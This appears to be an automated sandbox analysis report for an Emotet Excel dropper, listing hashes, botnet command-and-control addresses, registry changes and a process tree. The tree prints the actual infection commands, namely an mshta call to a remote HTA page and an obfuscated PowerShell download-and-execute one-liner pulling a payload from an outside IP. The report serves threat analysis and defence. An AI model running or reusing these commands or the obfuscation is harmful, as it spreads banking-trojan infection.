emotet | f765a633173e55b59f5260b324d16919915b094ea7157d9a4d0a60c13b0e61fb

Analysis

max time kernel
138s
max time network
142s
platform
windows7_x64
resource
win7-en-20211208
submitted
28-01-2022 00:36

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General

Target

E-2801.xls
Size

35KB
MD5

904a7d4a0a260ac73c3862abea0f4da2
SHA1

55079f76a736a9daf2728976ad00ca3a2e5b9fd2
SHA256

f765a633173e55b59f5260b324d16919915b094ea7157d9a4d0a60c13b0e61fb
SHA512

de49ec26dc89ec2cfd9b85e426f100bdb111c73e07aec46e9d3b6fa8b7939e3be491bd25bc9adb8703698e5104c28e89060d25a085103f43600c8cabe08b4899

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1988	1484	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1388 mshta.exe
5 1540 powershell.exe
7 1540 powershell.exe
9 1540 powershell.exe
11 1724 rundll32.exe
13 1724 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1092 rundll32.exe
1092 rundll32.exe
1092 rundll32.exe
1092 rundll32.exe
1472 rundll32.exe
1472 rundll32.exe
1472 rundll32.exe
1472 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Stiwimhm\sqebn.mmy rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1388	mshta.exe
5	1540	powershell.exe
7	1540	powershell.exe
9	1540	powershell.exe
11	1724	rundll32.exe
13	1724	rundll32.exe

pid	process
1092	rundll32.exe
1092	rundll32.exe
1092	rundll32.exe
1092	rundll32.exe
1472	rundll32.exe
1472	rundll32.exe
1472	rundll32.exe
1472	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Stiwimhm\sqebn.mmy	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1484 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1540 powershell.exe
1724 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1540 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1484 EXCEL.EXE
1484 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1484 EXCEL.EXE
1484 EXCEL.EXE
1484 EXCEL.EXE

pid	process
1484	EXCEL.EXE

pid	process
1540	powershell.exe
1724	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1540	powershell.exe

pid	process
1484	EXCEL.EXE
1484	EXCEL.EXE

pid	process
1484	EXCEL.EXE
1484	EXCEL.EXE
1484	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1484 wrote to memory of 1988	1484	EXCEL.EXE	CMD.EXE
PID 1484 wrote to memory of 1988	1484	EXCEL.EXE	CMD.EXE
PID 1484 wrote to memory of 1988	1484	EXCEL.EXE	CMD.EXE
PID 1484 wrote to memory of 1988	1484	EXCEL.EXE	CMD.EXE
PID 1988 wrote to memory of 1388	1988	CMD.EXE	mshta.exe
PID 1988 wrote to memory of 1388	1988	CMD.EXE	mshta.exe
PID 1988 wrote to memory of 1388	1988	CMD.EXE	mshta.exe
PID 1988 wrote to memory of 1388	1988	CMD.EXE	mshta.exe
PID 1388 wrote to memory of 1540	1388	mshta.exe	powershell.exe
PID 1388 wrote to memory of 1540	1388	mshta.exe	powershell.exe
PID 1388 wrote to memory of 1540	1388	mshta.exe	powershell.exe
PID 1388 wrote to memory of 1540	1388	mshta.exe	powershell.exe
PID 1540 wrote to memory of 604	1540	powershell.exe	cmd.exe
PID 1540 wrote to memory of 604	1540	powershell.exe	cmd.exe
PID 1540 wrote to memory of 604	1540	powershell.exe	cmd.exe
PID 1540 wrote to memory of 604	1540	powershell.exe	cmd.exe
PID 604 wrote to memory of 1092	604	cmd.exe	rundll32.exe
PID 604 wrote to memory of 1092	604	cmd.exe	rundll32.exe
PID 604 wrote to memory of 1092	604	cmd.exe	rundll32.exe
PID 604 wrote to memory of 1092	604	cmd.exe	rundll32.exe
PID 604 wrote to memory of 1092	604	cmd.exe	rundll32.exe
PID 604 wrote to memory of 1092	604	cmd.exe	rundll32.exe
PID 604 wrote to memory of 1092	604	cmd.exe	rundll32.exe
PID 1092 wrote to memory of 1472	1092	rundll32.exe	rundll32.exe
PID 1092 wrote to memory of 1472	1092	rundll32.exe	rundll32.exe
PID 1092 wrote to memory of 1472	1092	rundll32.exe	rundll32.exe
PID 1092 wrote to memory of 1472	1092	rundll32.exe	rundll32.exe
PID 1092 wrote to memory of 1472	1092	rundll32.exe	rundll32.exe
PID 1092 wrote to memory of 1472	1092	rundll32.exe	rundll32.exe
PID 1092 wrote to memory of 1472	1092	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 1872	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 1872	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 1872	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 1872	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 1872	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 1872	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 1872	1472	rundll32.exe	rundll32.exe
PID 1872 wrote to memory of 1724	1872	rundll32.exe	rundll32.exe
PID 1872 wrote to memory of 1724	1872	rundll32.exe	rundll32.exe
PID 1872 wrote to memory of 1724	1872	rundll32.exe	rundll32.exe
PID 1872 wrote to memory of 1724	1872	rundll32.exe	rundll32.exe
PID 1872 wrote to memory of 1724	1872	rundll32.exe	rundll32.exe
PID 1872 wrote to memory of 1724	1872	rundll32.exe	rundll32.exe
PID 1872 wrote to memory of 1724	1872	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\E-2801.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1484

C:\Windows\SysWOW64\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1988

C:\Windows\SysWOW64\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1388

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1540

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:604

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1092

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1472

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Stiwimhm\sqebn.mmy",dLHewQtwJ
8⤵
- Suspicious use of WriteProcessMemory
PID:1872

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Stiwimhm\sqebn.mmy",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1724

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
c820e9bdc1b99b9b764824b528499d4b

SHA1
735558ce09e53b46aefaa01766143e2d3701291e

SHA256
a7e729f81d1f005d772db774c0de2671bca23dffc32275d69d0dd663065d96ff

SHA512
3fbb33fcf7b3c530736ef7286b47e3869f0f634d938e9be3275c9d7031defa300aff6c9564a5d8470869c85674ee8bff713c8339803cdd3e3ec7536ce5e7783f

Download Submit
\ProgramData\QWER.dll
MD5
c820e9bdc1b99b9b764824b528499d4b

SHA1
735558ce09e53b46aefaa01766143e2d3701291e

SHA256
a7e729f81d1f005d772db774c0de2671bca23dffc32275d69d0dd663065d96ff

SHA512
3fbb33fcf7b3c530736ef7286b47e3869f0f634d938e9be3275c9d7031defa300aff6c9564a5d8470869c85674ee8bff713c8339803cdd3e3ec7536ce5e7783f

Download Submit
\ProgramData\QWER.dll
MD5
c820e9bdc1b99b9b764824b528499d4b

SHA1
735558ce09e53b46aefaa01766143e2d3701291e

SHA256
a7e729f81d1f005d772db774c0de2671bca23dffc32275d69d0dd663065d96ff

SHA512
3fbb33fcf7b3c530736ef7286b47e3869f0f634d938e9be3275c9d7031defa300aff6c9564a5d8470869c85674ee8bff713c8339803cdd3e3ec7536ce5e7783f

Download Submit
\ProgramData\QWER.dll
MD5
c820e9bdc1b99b9b764824b528499d4b

SHA1
735558ce09e53b46aefaa01766143e2d3701291e

SHA256
a7e729f81d1f005d772db774c0de2671bca23dffc32275d69d0dd663065d96ff

SHA512
3fbb33fcf7b3c530736ef7286b47e3869f0f634d938e9be3275c9d7031defa300aff6c9564a5d8470869c85674ee8bff713c8339803cdd3e3ec7536ce5e7783f

Download Submit
\ProgramData\QWER.dll
MD5
c820e9bdc1b99b9b764824b528499d4b

SHA1
735558ce09e53b46aefaa01766143e2d3701291e

SHA256
a7e729f81d1f005d772db774c0de2671bca23dffc32275d69d0dd663065d96ff

SHA512
3fbb33fcf7b3c530736ef7286b47e3869f0f634d938e9be3275c9d7031defa300aff6c9564a5d8470869c85674ee8bff713c8339803cdd3e3ec7536ce5e7783f

Download Submit
